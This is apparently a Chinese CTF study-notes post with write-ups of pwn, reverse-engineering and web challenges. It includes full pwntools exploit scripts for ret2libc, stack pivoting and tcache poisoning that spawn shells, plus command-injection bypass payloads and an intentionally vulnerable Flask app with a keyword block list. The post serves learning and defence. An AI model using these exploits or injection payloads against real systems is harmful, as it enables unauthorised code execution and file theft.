CTF题目大杂烩学习笔记
前言
在暑假的时候系统性的学习了Re和Pwn,以及一点点web,于是记录一下,之后就冲更加高级的东西了。题目都是从四面八方收集来的,比较散,就不一一标明出处了。
题目链接:https://www.123912.com/s/dlcdjv-1bHg
提取码:BRTt
目录导航
1. Pwn
- 1.1 ret2libc 32位 无libc
- 1.2 ret2libc 64位
- 1.3 手写 32/64 shellcode
- 1.4 精简版shellcode
- 1.5 栈迁移一次
- 1.6 栈迁移两次
- 1.7 堆_tcachebins
2. Re
3. Web
4. 对抗赛
5. re + pwn
1.1 ret2libc 32位 无libc
漏洞比较明显,溢出1字节抓金丝雀+ret2libc,需要注意32位传参,需要注意本题没有给libc,需要我们通过https://libc.blukat.me/ 这个网站查找
from pwn import *
one_getshell: list[int] = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
context.log_level = 'debug'
context.arch = 'i386'
# io = process('./attachment-7')
io = remote("192.168.121.130", 32807)
file = ELF("./pwn")
# libc = ELF("libc6-i386_2.35-0ubuntu3.9_amd64.so")
libc = ELF("./libc.so.6")
io.recvuntil(b"name?")
io.send(b'a'*(0x4C-0xC) + b'g')
io.recvuntil(b"g")
canary = u64(b'\x00' + io.recv(7)) # 泄露金丝雀的固定写法了属于是
print("canary:", hex(canary))
read_ret = 0x8049273
io.recvuntil(b'password?')
io.send(flat([
cyclic(0x4C-0xC), # 填充至金丝雀前
p64(canary), # 加入金丝雀值
cyclic(0x8), # 填充至返回地址
p32(file.plt['puts']), # puts 函数的 PLT 地址
p32(file.sym['main']), # 再次返回 main,避免退出
p32(file.got['puts']), # puts 的 GOT 地址作为参数
]))
print(f"debug {io.recvn(2)}")
puts_addr = u32(io.recvn(4))
print("puts_addr:", hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
print("libc_base:", hex(libc_base))
libc.address = libc_base
io.recvuntil(b"name?")
io.send(b"1")
io.recvuntil(b'password?')
# gdb.attach(io)
io.send(flat([
cyclic(0x4C-0xC), # 填充至金丝雀前
p64(canary), # 加入金丝雀值
cyclic(0x8), # 填充至返回地址
p32(libc.symbols['system']), # systeam 函数的地址
0, # systeam 返回地址
p32(next(libc.search(b'/bin/sh\x00'))), # puts 的 GOT 地址作为参数
]))
io.interactive()
1.2 ret2libc 64位
表面上fg是考堆,实际上就是考了一个知识点:free后马上malloc一个相同大小的堆块会返回原来的地址,直接填写0x64、“flag”即可通过fg。接下来就是简单的ret2libc
from pwn import *
# 设置日志级别和架构
context.log_level = 'debug'
context.arch = 'amd64'
# io = process(['./pwn8'], env={"LD_PRELOAD": "./pwn8.so"})
# io = process("./pwn8") # 本地调试
# 连接远程目标
io = remote('192.168.121.130', 32806) # 替换为你的远程信息
# 加载目标二进制和 libc 库
file = ELF("./pwn8")
# libc = ELF("./pwn8.so")
libc = ELF("./libc.so.6") # 替换为你的 libc 库路径
# 第一步:利用堆漏洞,读取金丝雀值
io.recvuntil(b'size:')
io.sendline(b'100') # 输入大小100字节,复用已free的堆块
io.recvuntil(b'flag:')
io.sendline(b'flag') # 覆盖堆块内容
io.recvuntil(b"ISCC")
io.send(b'a'*(0x20-0x8) + b'g')
io.recvuntil(b"g")
canary = u64(b'\x00' + io.recv(7)) # 读取金丝雀值
print(f"金丝雀: {hex(canary)}")
# 第二步:构造ROP链,触发puts泄露地址
pop_rdi_ret = 0x4014c3 # pop rdi; ret gadget 地址
puts_plt = file.plt['puts'] # puts 函数的 PLT 地址
puts_got = file.got['puts'] # puts 的 GOT 地址
main_func = file.sym['main'] # 返回 main 函数地址,确保程序继续执行
# 构造ROP链
payload = flat([
cyclic(0x20-0x8), # 填充至金丝雀前
p64(canary), # 加入金丝雀值
cyclic(0x8), # 填充至返回地址
p64(pop_rdi_ret), # pop rdi; ret gadget
p64(puts_got), # puts 的 GOT 地址作为参数
p64(puts_plt), # 调用 puts
p64(main_func), # 再次返回 main,避免退出
])
# gdb.attach(io)
# 发送payload
io.send(payload)
# sleep(1000)
# b = io.recvn(47)
b = io.recvuntil(b"nice to meet you")
b = io.recvuntil(b"Nice to meet you too!")
io.recv(1)
# 接收puts的泄露地址
a = io.recv(6).ljust(8, b'\x00')
print(f"DEBUG: {b}")
puts_addr = u64(a) # 获取puts地址,并填充至8字节
print(f"DEBUG: {a}")
print(f"puts 地址: {hex(puts_addr)}")
# 计算 libc 基地址、
libc_base = puts_addr - libc.sym['puts'] # 计算 libc 基地址
print(f"libc 基地址: {hex(libc_base)}")
libc.address = libc_base # 更新 libc 地址
# 触发下一阶段
io.recvuntil(b'ISCC')
io.send(b"1\x00")
# 接收更多信息
io.recvuntil(b"you")
# 获取 libc 中的系统调用和 /bin/sh 字符串地址
system = libc.sym['system'] # 计算 system 地址
bin_sh = next(libc.search(b'/bin/sh')) # 计算 /bin/sh 地址
print(f"system 地址: {hex(system)}")
print(f"/bin/sh 地址: {hex(bin_sh)}")
pop_rsi_r15_ret = 0x4014c1
# 构造第二个ROP链
payload2 = flat([
cyclic(0x20 - 0x8), # 填充至金丝雀前
p64(canary), # 加入金丝雀值
cyclic(0x8), # 填充至返回地址
libc.search(asm('pop rdi; ret;')).__next__() + 1, # pop rdi; ret
libc.search(asm('pop rdi; ret;')).__next__(), # pop rdi; ret
libc.search("/bin/sh").__next__(),
libc.sym['system'],
])
# gdb.attach(io)
# 发送第二个payload,执行系统命令
io.send(payload2)
# sleep(1000)
# 最终交互,获得 shell
io.interactive()
1.3 手写 32/64 shellcode
详细见我另外一篇文章:https://www.cnblogs.com/resea/p/18881947
1.4 精简版shellcode
详细见我另外一篇文章:https://www.cnblogs.com/resea/p/18881947
1.5 栈迁移一次
给了后门,可以更改执行权限,如果直接去找传参板子是找不到的,传不到第三个参数,要使用__libc_csu_init
板子
.text:0000000000400700 __libc_csu_init proc near ; DATA XREF: _start+16↑o
.text:0000000000400700 ; __unwind {
.text:0000000000400700 push r15
.text:0000000000400702 push r14
.text:0000000000400704 mov r15, rdx
.text:0000000000400707 push r13
.text:0000000000400709 push r12
.text:000000000040070B lea r12, __frame_dummy_init_array_entry
.text:0000000000400712 push rbp
.text:0000000000400713 lea rbp, __do_global_dtors_aux_fini_array_entry
.text:000000000040071A push rbx
.text:000000000040071B mov r13d, edi
.text:000000000040071E mov r14, rsi
.text:0000000000400721 sub rbp, r12
.text:0000000000400724 sub rsp, 8
.text:0000000000400728 sar rbp, 3
.text:000000000040072C call _init_proc
.text:0000000000400731 test rbp, rbp
.text:0000000000400734 jz short loc_400756
.text:0000000000400736 xor ebx, ebx
.text:0000000000400738 nop dword ptr [rax+rax+00000000h]
.text:0000000000400740
.text:0000000000400740 loc_400740: ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400740 mov rdx, r15
.text:0000000000400743 mov rsi, r14
.text:0000000000400746 mov edi, r13d
.text:0000000000400749 call ds:(__frame_dummy_init_array_entry - 600DC8h)[r12+rbx*8]
.text:000000000040074D add rbx, 1
.text:0000000000400751 cmp rbp, rbx
.text:0000000000400754 jnz short loc_400740
.text:0000000000400756
.text:0000000000400756 loc_400756: ; CODE XREF: __libc_csu_init+34↑j
.text:0000000000400756 add rsp, 8
.text:000000000040075A pop rbx
.text:000000000040075B pop rbp
.text:000000000040075C pop r12
.text:000000000040075E pop r13
.text:0000000000400760 pop r14
.text:0000000000400762 pop r15
.text:0000000000400764 retn
.text:0000000000400764 ; } // starts at 400700
.text:0000000000400764 __libc_csu_init endp
大体思路是通过调用pop先控制rbx_rbp_r12_r13_r14_r15,然后再mov到rdx,rsi,rdi
然后通过精确布局栈来跳到shellcode
from pwn import *
# 设置日志级别和架构
context.log_level = 'debug'
context.arch = 'amd64'
# io = process("./pwn") # 本地调试
# 连接远程目标
io = remote('192.168.100.183', 32771) # 替换为你的远程信息
# 加载目标二进制和 libc 库
file = ELF("./pwn")
# libc = ELF("./pwn8.so")
# libc = ELF("./libc.so.6") # 替换为你的 libc 库路径
'''
pop rbx => rbx +1
pop rbp => cmp rbp, rbx
pop r12 => call
pop r13 => edi
pop r14 => rsi
pop r15 => rbx
retn
'''
csu_pop = 0x40075A
'''
mov rdx, r15
mov rsi, r14
mov edi, r13d
call ds:(__frame_dummy_init_array_entry - 600DC8h)[r12+rbx*8]
add rbx, 1
cmp rbp, rbx
jnz short loc_400740
add rsp, 8
pop rbx
pop rbp
pop r12
pop r13
pop r14
pop r15
retn
'''
csu_call = 0x400740
bss = 0x601020 + 0x200
read_leave_ret = 0x4006D6
leave_ret = 0x4006F5
mprotect = 0x0600FE8
payload = flat([
cyclic(0xf0),
bss,
read_leave_ret
])
# gdb.attach(io)
io.recvuntil(b"check it!\n")
io.send(payload)
payload = flat([
bss + 0x600,
csu_pop,
0, # pop rbx => rbx + 1
1, # pop rbp => cmp rbp, rbx
mprotect, # pop r12 => call
0x601000, # pop r13 => edi
0x1000, # pop r14 => rsi
7, # pop r15 => rbx
csu_call, # csu_pop ret
p64(0) * 7,
0x6011b8,
asm(shellcraft.sh()),
]).ljust(0xF0, b"\x00") + p64(0x601130) + p64(leave_ret)
io.send(payload)
# sleep(100)
io.interactive()
1.6 栈迁移两次
详见: https://www.cnblogs.com/resea/p/18730323
1.7 堆_tcachebins
比较标准的堆题,漏洞开的很大,free不置空,edit任意写,写出菜单后直接上手打
from pwn import *
# one_getshell: list[int] = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
context.log_level = 'debug'
context.arch = 'amd64'
io = process('attachment-23')
io = remote("101.200.155.151", 12300)
file = ELF("attachment-23")
libc = ELF("libc.so.6")
# libc = ELF("./libc.so.6")
def debug():
gdb.attach(io)
input()
def canary(_str:str):
io.recvuntil(_str.encode())
io.send(b'a'*(0x4C-0xC) + b'g') #填充金丝雀高位,然后printf泄漏其余位置
io.recvuntil(b"g")
canary = u64(b'\x00' + io.recv(7)) #泄露金丝雀的固定写法了属于是
print("canary:", hex(canary))
return canary
def get():
return u64(io.recv(6).ljust(8, b'\x00'))
def add(index:int,size: int):
io.recvuntil(b"choice:")
io.send(b'1')
io.recvuntil(b"index:")
io.send(str(index).encode())
io.recvuntil(b"size:")
io.send(str(size).encode())
def free(index: int):
io.recvuntil(b"choice:")
io.send(b'2')
io.recvuntil(b"index:")
io.send(str(index).encode())
def edit(index: int, content: bytes):
io.recvuntil(b"choice:")
io.send(b'3')
io.recvuntil(b"index:")
io.send(str(index).encode())
io.recvuntil(b'length:')
io.send(str(len(content)).encode())
io.recvuntil(b"content:")
io.send(content)
def down(index: int):
io.recvuntil(b"choice:")
io.send(b'4')
io.recvuntil(b"index:")
io.send(str(index).encode())
def exit():
io.recvuntil(b"choice:")
io.send(b'5')
add(0,0x600)
add(1,0x20)
free(0)
add(0,0x600)
'''
获取fd
'''
down(0)
print(f"DEBUG{io.recvn(1)}")
fd_leak = u64(io.recvn(6).ljust(8, b'\x00'))
print(f"fd_leak: {hex(fd_leak)}")
# debug()
malloc_hook = fd_leak + (0xb70 - 0xbe0)
print(f"malloc_hook: {hex(malloc_hook)}")
libc.address = malloc_hook - libc.sym['__malloc_hook']
# debug()
fake_chunk_addr = libc.sym['__malloc_hook'] - 0x23 # 0xf7
# 获取偏移
add(2,0x20)
payload = flat([
b"/bin/sh\x00",
])
# debug()
edit(2,payload)
add(0,0x20)
add(1,0x20)
free(0)
free(1)
# debug()
payload = flat([
p64(libc.sym['__free_hook']),
# p64(libc.sym['__malloc_hook'])
])
edit(1,payload)
# debug()
add(3,0x20)
# debug()
add(4,0x20)
# debug()
payload = flat([
p64(libc.sym['system']),
# p64(libc.sym['puts'])
# p64(0x4f29e + libc.address)
])
edit(4,payload)
# debug()
free(2)
io.interactive()
还有一道任意写题目,考点一样,就不单独开了
from pwn import *
context(arch="AMD64", os="linux", log_level="debug")
IP = "192.168.121.130"
PORT = 32851
FILE = "./pwn"
io = process(FILE)
# io = remote(IP, PORT)
file = ELF(FILE)
# libc = ELF("./libc.so.6")
def debug():
gdb.attach(io)
input()
def add(index: int, size: int, payload: bytes):
io.recvuntil(b"exit")
io.sendline(b'1')
io.recvuntil(b"creat:")
io.sendline(str(index).encode())
io.recvuntil(b"ues:")
io.sendline(str(size).encode())
io.recvuntil(b"content:")
io.sendline(payload)
def free(index: int):
io.recvuntil(b"exit")
io.sendline(b'2')
io.recvuntil(b"delet:")
io.sendline(str(index).encode())
def edit(index: int, content: bytes):
io.recvuntil(b"exit")
io.sendline(b'3')
io.recvuntil(b"edit:")
io.sendline(str(index).encode())
io.recvuntil(b"content:")
io.sendline(content)
def down(index: int):
io.recvuntil(b"exit")
io.sendline(b'4')
io.recvuntil(b"show:")
io.sendline(str(index).encode())
def exit():
io.recvuntil(b"exit")
io.sendline(b'5')
def backboor():
io.recvuntil(b"exit")
io.send(b"123")
io.recvuntil(b"gift")
io.send(flat([
asm(shellcraft.sh())
]))
io.recvuntil(b"name")
io.sendline(b"96") # 0x60 = 96
io.recvuntil(b"age")
io.sendline(b"96")
io.recvuntil(b"want:-)\n")
password_arr = int(io.recvline()[:-1], 16)
print(f"password_arr: {hex(password_arr)}")
file.address = password_arr - 0x0202040
buff_arr = 202048 + file.address
print(f"buff_arr: {hex(buff_arr)}")
add(0, 0x100, b"")
add(1, 0x100, b"")
free(0)
down(0)
heap_arr = u64(io.recvuntil(b"\x0a\x31")[1:-2] + b"\x00" * 3)
print(f"heap_arr : {hex(heap_arr)}")
add(2, 0x60, b"1")
add(3, 0x60, b"1")
free(2)
free(3)
edit(3, p64(buff_arr))
# debug()
add(4, 0x60, b"deadbeef"*10)
add(5, 0x60, b"deadbeef"*10)
# debug()
backboor()
io.interactive()
2.1 app逆向
使用工具jadx,直接找MainActivity
package com.example.crackme;
import android.app.Activity;
import android.os.Bundle;
import android.view.Menu;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.Toast;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
/* loaded from: classes.dex */
public class MainActivity extends Activity {
private Button btn_register;
private EditText edit_sn;
String edit_userName;
@Override // android.app.Activity
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(C0236R.layout.activity_main);
setTitle(C0236R.string.unregister);
this.edit_userName = "Tenshine";
this.edit_sn = (EditText) findViewById(C0236R.id.edit_sn);
this.btn_register = (Button) findViewById(C0236R.id.button_register);
this.btn_register.setOnClickListener(new View.OnClickListener() { // from class: com.example.crackme.MainActivity.1
@Override // android.view.View.OnClickListener
public void onClick(View v) {
if (!MainActivity.this.checkSN(MainActivity.this.edit_userName.trim(), MainActivity.this.edit_sn.getText().toString().trim())) {
Toast.makeText(MainActivity.this, C0236R.string.unsuccessed, 0).show();
return;
}
Toast.makeText(MainActivity.this, C0236R.string.successed, 0).show();
MainActivity.this.btn_register.setEnabled(false);
MainActivity.this.setTitle(C0236R.string.registered);
}
});
}
@Override // android.app.Activity
public boolean onCreateOptionsMenu(Menu menu) {
getMenuInflater().inflate(C0236R.menu.activity_main, menu);
return true;
}
/* JADX INFO: Access modifiers changed from: private */
public boolean checkSN(String userName, String sn) throws NoSuchAlgorithmException {
if (userName == null) {
return false;
}
try {
if (userName.length() == 0 || sn == null || sn.length() != 22) {
return false;
}
MessageDigest digest = MessageDigest.getInstance("MD5");
digest.reset();
digest.update(userName.getBytes());
byte[] bytes = digest.digest();
String hexstr = toHexString(bytes, "");
StringBuilder sb = new StringBuilder();
for (int i = 0; i < hexstr.length(); i += 2) {
sb.append(hexstr.charAt(i));
}
String userSN = sb.toString();
return new StringBuilder().append("flag{").append(userSN).append("}").toString().equalsIgnoreCase(sn);
} catch (NoSuchAlgorithmException e) {
e.printStackTrace();
return false;
}
}
private static String toHexString(byte[] bytes, String separator) {
StringBuilder hexString = new StringBuilder();
for (byte b : bytes) {
String hex = Integer.toHexString(b & 255);
if (hex.length() == 1) {
hexString.append('0');
}
hexString.append(hex).append(separator);
}
return hexString.toString();
}
}
注意到:
public boolean checkSN(String userName, String sn) throws NoSuchAlgorithmException {
if (userName == null) {
return false;
}
try {
if (userName.length() == 0 || sn == null || sn.length() != 22) {
return false;
}
MessageDigest digest = MessageDigest.getInstance("MD5");
digest.reset();
digest.update(userName.getBytes());
byte[] bytes = digest.digest();
String hexstr = toHexString(bytes, "");
StringBuilder sb = new StringBuilder();
for (int i = 0; i < hexstr.length(); i += 2) {
sb.append(hexstr.charAt(i));
}
String userSN = sb.toString();
return new StringBuilder().append("flag{").append(userSN).append("}").toString().equalsIgnoreCase(sn);
} catch (NoSuchAlgorithmException e) {
e.printStackTrace();
return false;
}
}
获取input,做成MD5,转为16进制字符串,隔一个取一个,之后对比
import hashlib
str1 = b"Tenshine"
str2 = hashlib.md5(str1).hexdigest()
print(str2)
flag = ""
for i in range(0, len(str2), 2):
flag += str2[i]
print(flag)
print(f"flag{{{flag}}}")
2.2 手动脱壳UPX
方法一:尝试在010编辑器中修复
修复完后即可用官方工具脱壳
方法二:x64gdb脱壳
用x64dbg打开,按一次F9来到入口点
单步运行到push rbp
,在右下角ROM下硬件断点-访问-4字节
直接运行,被断在这里
在最后的jmp
下断点,运行到断点后再次步进
打开Scylla,如图:
即可
2.3 花指令
然后发现反汇编不了一点,全是花指令,使用ida脚本去除
# remove_flower.py
import idc
import idaapi
startaddr=0x1100
endaddr=0x15FF
lis=[0x50, 0x51, 0x52, 0x53, 0xE8, 0x00, 0x00, 0x00, 0x00, 0x5B, 0x48, 0x81, 0xC3, 0x12, 0x00, 0x00, 0x00, 0x48, 0x89, 0x5C, 0x24, 0x18, 0x48, 0x83, 0xC4, 0x18,0xC3]
#这个for循环是关键点,检测以当前地址开始的27个字节是否符合lis列表的内容。
for i in range(startaddr,endaddr):
flag=True
for j in range(i,i+27):
if idc.get_wide_byte(j)!=lis[j-i]:
flag=False
if flag==True:
for addr in range(i,i+27):
idc.patch_byte(addr,0x90) # 将这部分内容全部nop掉
for i in range(startaddr,endaddr):# 取消函数定义
idc.del_items(i)
for i in range(startaddr,endaddr): # 添加函数定义
if idc.get_wide_dword(i)==0xFA1E0FF3: #endbr64
idaapi.add_func(i)
去除完了就可以发现正常逻辑了,写出脚本解密
#solve.py
lis=[0x54,0xf4,0x20,0x47,0xfc,0xc4,0x93,0xe6,0x39,0xe0,
0x6e,0x00,0xa5,0x6e,0xaa,0x9f,0x7a,0xa1,0x66,0x39,
0x76,0xb7,0x67,0x57,0x3d,0x95,0x61,0x22,0x55,0xc9,
0x3b,0x4e,0x4f,0xe8,0x66,0x08,0x3d,0x50,0x43,0x3e]
str="uarefirst."
offset_buf=[0,4,32,12,8,24,16,20,28,36]
#offset_buf就是通过动态调试提取出每一轮get_next_rand函数的返回值得到的
truekey=[]
for i in str:
truekey.append(ord(i))
def decrypt(offset,key):
a=lis[offset]
b=lis[offset+1]
c=lis[offset+2]
d=lis[offset+3]
flagc=((c+key)&0xff)^b
flagd=c^d
flaga=a^d^key
flagb=((b-key)&0xff)^flaga^key
lis[offset]=flaga
lis[offset+1]=flagb
lis[offset+2]=flagc
lis[offset+3]=flagd
for i in range(10):
decrypt(offset_buf[i],truekey[i])
print(bytes(lis).decode('utf-8'))
# flag{y0u_C4n_3a51ly_Rem0v3_CoNfu510n-!!}
2.4 go语言逆向
直接ida冲main_main
// main.main
void __fastcall main_main()
{
__int64 v0; // rdx
__int64 len; // rbx
__int64 v2; // [rsp+8h] [rbp-F8h]
__int64 v3; // [rsp+10h] [rbp-F0h]
__int64 v4; // [rsp+10h] [rbp-F0h]
__int64 v5; // [rsp+18h] [rbp-E8h]
__int64 v6; // [rsp+18h] [rbp-E8h]
__int64 v7; // [rsp+20h] [rbp-E0h]
__int128 len_1; // [rsp+20h] [rbp-E0h]
__int64 v9; // [rsp+28h] [rbp-D8h]
__int64 v10; // [rsp+30h] [rbp-D0h]
__int64 v11; // [rsp+38h] [rbp-C8h]
__int64 len_2; // [rsp+50h] [rbp-B0h]
__int64 v13[4]; // [rsp+58h] [rbp-A8h] BYREF
__int64 v14; // [rsp+78h] [rbp-88h] BYREF
__int64 v15; // [rsp+98h] [rbp-68h]
string *p_string; // [rsp+A0h] [rbp-60h]
__int64 v17[2]; // [rsp+A8h] [rbp-58h] BYREF
__int64 v18[2]; // [rsp+B8h] [rbp-48h] BYREF
__int64 v19[2]; // [rsp+C8h] [rbp-38h] BYREF
__int64 v20[2]; // [rsp+D8h] [rbp-28h] BYREF
__int64 v21[2]; // [rsp+E8h] [rbp-18h] BYREF
p_string = (string *)runtime_newobject((__int64)&RTYPE_string);
v21[0] = (__int64)&RTYPE_string;
v21[1] = (__int64)&off_4E1130; // "Please input you flag like flag{123} to judge:"
fmt_Fprintln((__int64)&go_itab__ptr_os_File_comma__ptr_io_Writer, qword_572B18, (__int64)v21, 1, 1);
v20[0] = (__int64)&RTYPE__ptr_string;
v20[1] = (__int64)p_string;
v11 = fmt_Fscanf(
(__int64)&go_itab__ptr_os_File_comma__ptr_io_Reader,
qword_572B10,
(__int64)"%s",
2,
(__int64)v20,
1,
1);
v5 = runtime_stringtoslicebyte((__int64)&v14, (__int64)"tGRBtXMZgD6ZhalBtCUTgWgZfnkTgqoNsnAVsmUYsGtCt9pEtDEYsql3", 56);
len_1 = runtime_slicebytetostring((__int64)v13, v5, v7, v9);
v6 = encoding_base64__ptr_Encoding_DecodeString(qword_572B00, len_1, *((__int64 *)&len_1 + 1));
v0 = v6;
len = len_1;
if ( v10 )
{
v15 = v6;
len_2 = len_1;
v2 = (*(__int64 (__golang **)(__int64))(v10 + 24))(v11);
v4 = runtime_convTstring(v2, v3);
v19[0] = (__int64)&RTYPE_string;
v19[1] = v4;
fmt_Fprintln((__int64)&go_itab__ptr_os_File_comma__ptr_io_Writer, qword_572B18, (__int64)v19, 1, 1);
v0 = v15;
len = len_2;
}
if ( p_string->len == len && runtime_memequal(v0, (__int64)p_string->ptr, len) )
{
v18[0] = (__int64)&RTYPE_string;
v18[1] = (__int64)&off_4E1140; // "Congratulation the flag you input is correct!"
fmt_Fprintln((__int64)&go_itab__ptr_os_File_comma__ptr_io_Writer, qword_572B18, (__int64)v18, 1, 1);
}
else
{
v17[0] = (__int64)&RTYPE_string;
v17[1] = (__int64)&off_4E1150; // "Try again! Come on!"
fmt_Fprintln((__int64)&go_itab__ptr_os_File_comma__ptr_io_Writer, qword_572B18, (__int64)v17, 1, 1);
}
}
大概就是一个Base64,直接厨子就能打完
import base64
encoded_str = "tGRBtXMZgD6ZhalBtCUTgWgZfnkTgqoNsnAVsmUYsGtCt9pEtDEYsql3"
decoded_bytes = base64.b64decode(encoded_str)
flag = decoded_bytes.decode('utf-8')
print(f"flag{{{flag}}}") # 输出格式应该是 flag{解码后的内容}
2.5 反调试
挂上x64gdb的反调试插件,加上ida慢慢看即可
2.6 smc
发现完全是乱码,和编译不了,也不像是花指令
int sub_401550()
{
int result; // eax
int i; // [esp+4h] [ebp-1Ch]
DWORD flOldProtect[2]; // [esp+18h] [ebp-8h] BYREF
flOldProtect[1] = -858993460;
flOldProtect[0] = (DWORD)malloc(8u);
result = VirtualProtect((char *)&loc_4014D0 - (unsigned int)&loc_4014D0 % 0x1000, 0x1000u, 0x80u, flOldProtect);
for ( i = 0; i < 122; ++i )
{
*((_BYTE *)&loc_4014D0 + i) ^= 0x66u;
result = i + 1;
}
return result;
}
这个是解密指令,那我们直接断点在if ( JUMPOUT_(v6) )
动态调试即可做完,接下来就是简单的加密解密
byte_40A000 = [
0x9F,0x91,0xA7,0xA5,0x94,0xA6,0x8D,0xB5,
0xA7,0x9C,0xA6,0xA1,0xBF,0x91,0xA4,0x53,
0xA6,0x53,0xA5,0xA3,0x94,0x9B,0x91,0x9E,
0x8F
]
flag = ""
for b in byte_40A000:
c = (b ^ 0x39) - 57
flag += chr(c)
print("Flag:", flag)
2.7 gui
参见这个:
https://blog.csdn.net/qq_55185383/article/details/143856181
总之就是gui不能追踪控制流,要多利用字符串和API定位到主要逻辑
2.8 hook
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // eax
char v5[64]; // [esp+0h] [ebp-44h] BYREF
memset(v5, 0, sizeof(v5));
sub_401650();
sub_401BC0("Please enter the flag: ", v5[0]);
sub_401C00("%s", (char)v5);
if ( (unsigned __int8)sub_4019B0(v5, aHappyHook) )// "happy_hook"
v3 = sub_401000(std::cout, "Congratulations! You got the flag!");
else
v3 = sub_401000(std::cout, "Sorry, your flag is incorrect.");
std::ostream::operator<<(v3, sub_401300);
system("pause");
return 0;
}
发现在这里sub_4019B0
被hook到了sub_401780
int sub_401650()
{
puts("---------------------------------------------");
puts(asc_4031F0);
puts("---------------------------------------------");
return sub_401540(sub_4019B0, (int)sub_401780);
char __cdecl sub_401780(const char *a1, int a2)
{
unsigned int i; // [esp+14h] [ebp-118h]
_BYTE v4[260]; // [esp+24h] [ebp-108h] BYREF
if ( strlen(a1) != 17 )
return 0;
memset(v4, 0, 0x101u);
sub_4018E0(v4, a2, 4);
sub_4016A0(v4, a1, strlen(a1));
for ( i = 0; i < 0x11; ++i )
{
if ( a1[i] != byte_40500C[i] )
return 0;
}
return 1;
}
简单的解密,直接做即可
2.9 smc+花指令
这位更是重量级,有多重量级呢?建议自己做一下先。
首先先是花指令,去花指令的时候一不小心就会去了key(藏在花指令里面),导致动态调试key丢失。直接动态调试会有反调试开线程疯狂修改key,保留key就不能动态调试(指令不对)。爽死了。
花指令:
先按u未定义key
后面是干扰的
然后配合正常逻辑即可解密flag{this_is_a_test_flag_xxxxx}
这题还有一个解法是:x64gdb开反反调试慢慢调。
3.1 绕过
web题目我就这一道觉得值得讲,这道题有两个解:(找不到题目文件去对抗赛web1找)
www.baidu.com&&less<f[a,b]lg114514
file://flag114514
属于见过就会,没见过想破头皮都想不出来,禁用了一堆东西,做的时候觉得丧心病狂,后面觉得也就这样。
看看后台代码就知道发生了什么:
from operator import imod
from flask import Flask, render_template, request, jsonify
import subprocess
import re
import os
app = Flask(__name__)
# 定义被禁止的敏感关键字
def waf_check(payload: str) -> bool:
"""
WAF 黑名单检测
:param payload: 用户输入
:return: True 表示通过, False 表示被拦截
"""
# 1. 禁止空格
if " " in payload:
return False
# 2. 禁止危险命令
dangerous_cmds = ["cat", "ls", "echo"]
for cmd in dangerous_cmds:
if re.search(rf"\b{cmd}\b", payload, flags=re.IGNORECASE):
return False
# 3. 禁止正常 URL 中不会出现的特殊字符
# 正常 URL 中允许的字符:字母、数字、.、-、_、?、=、&、:、/、%
# 禁止除这些之外的字符,比如 ;、|、$、`、\、"、'、(、)
forbidden_chars = r"[;|$`\\\"'\(\)]"
if re.search(forbidden_chars, payload):
return False
return True
@app.route('/')
def index():
return render_template('index.html')
@app.route('/ping', methods=['POST'])
def ping():
data = request.get_json()
url = data.get('url', '')
# 黑名单检查
if waf_check(url) == False:
return jsonify({"result": "不允许回显!"})
# 调用系统 ping 命令(存在命令注入漏洞)
try:
cmd = f"curl {url}"
result = subprocess.check_output(
["/bin/bash", "-c", cmd],
stderr=subprocess.STDOUT,
timeout=3
)
return jsonify({"result": result.decode(errors="ignore")})
except subprocess.CalledProcessError as e:
return jsonify({"result": e.output.decode(errors="ignore")})
except subprocess.TimeoutExpired:
return jsonify({"result": "请求超时!"})
if __name__ == '__main__':
# 如果 GZCTF_FLAG 存在,就写入 /home/ctf/flag 并清空环境变量
flag = os.environ.get("GZCTF_FLAG")
if flag:
with open("/app/flag114514", "w") as f:
f.write(flag)
# 清空环境变量,防止被直接通过 env 泄露
os.environ["GZCTF_FLAG"] = ""
app.run(host="0.0.0.0", port=80, debug=False)
4.1 web
awdp 本质上就是 ctf 的衍生,但是更加综合,它主要有两种考法:进攻和防守,以及两种主要题型: Web 和 Pwn
其实进攻和常规的ctf没有什么区别,唯一的区别就是你要主动去发现漏洞,部分需要打跳板,这一块和ctf没什么大的区别,打好常规就能打
防守就和常规的ctf有区别了。一般来说,我们打ctf的时候我们写攻击脚本,但是在防守是别人写好了多个攻击脚本(对选手不可见),当你修复好漏洞后会进行全自动测试,测试成功即为获得flag(或者坚持时间久拿分),同时要保证服务的正常运转(即不能破坏原有功能)。也有两队同时进攻和防守的,基本上就是考运维+上述内容
4.1.1 修复绕过
这里存在一个命令拼接:
这题有两个预期解:
www.baidu.com&&less<fl[a,b]g114514
file://flag114514
那么我们第一个想法当然是加多黑名单,但是无论怎么加貌似防不住第二个,因为我们必须保证能够访问到正常网页。那就换个思路:
- 检测域名、ip对应的是不是在本地
- 不使用拼接命令
- 限制跳转
如果你愿意,可以加更多,但是比赛基本上这样就够用了(尤其是第二条,不能拼接命令!),这里直接让ai给脚本上传即可打完
# safe_app.py
from flask import Flask, render_template, request, jsonify, abort
import os
import requests
from urllib.parse import urlparse, urlunparse
import ipaddress
import socket
app = Flask(__name__)
# 可配置:允许的外部域名白名单(可空,表示不使用白名单)
ALLOWED_DOMAINS = set() # 例如 {"example.com", "api.example.org"}
# 最大回显字节(避免回显大文件)
MAX_ECHO_BYTES = 4096
# 禁止解析到的私有/回环/链路本地网络
PRIVATE_NETWORKS = [
ipaddress.ip_network("127.0.0.0/8"),
ipaddress.ip_network("10.0.0.0/8"),
ipaddress.ip_network("172.16.0.0/12"),
ipaddress.ip_network("192.168.0.0/16"),
ipaddress.ip_network("169.254.0.0/16"),
ipaddress.ip_network("::1/128"),
ipaddress.ip_network("fc00::/7"),
ipaddress.ip_network("fe80::/10"),
]
def is_ip_private(ip_str: str) -> bool:
try:
ip_obj = ipaddress.ip_address(ip_str)
except ValueError:
return True # 无法解析的视为不安全
for nw in PRIVATE_NETWORKS:
if ip_obj in nw:
return True
return False
def resolve_hostname_to_ips(hostname: str):
"""返回 hostname 对应的 IP 列表(可能为 IPv4/IPv6)"""
try:
infos = socket.getaddrinfo(hostname, None)
except socket.gaierror:
return []
ips = []
for info in infos:
addr = info[4][0]
ips.append(addr)
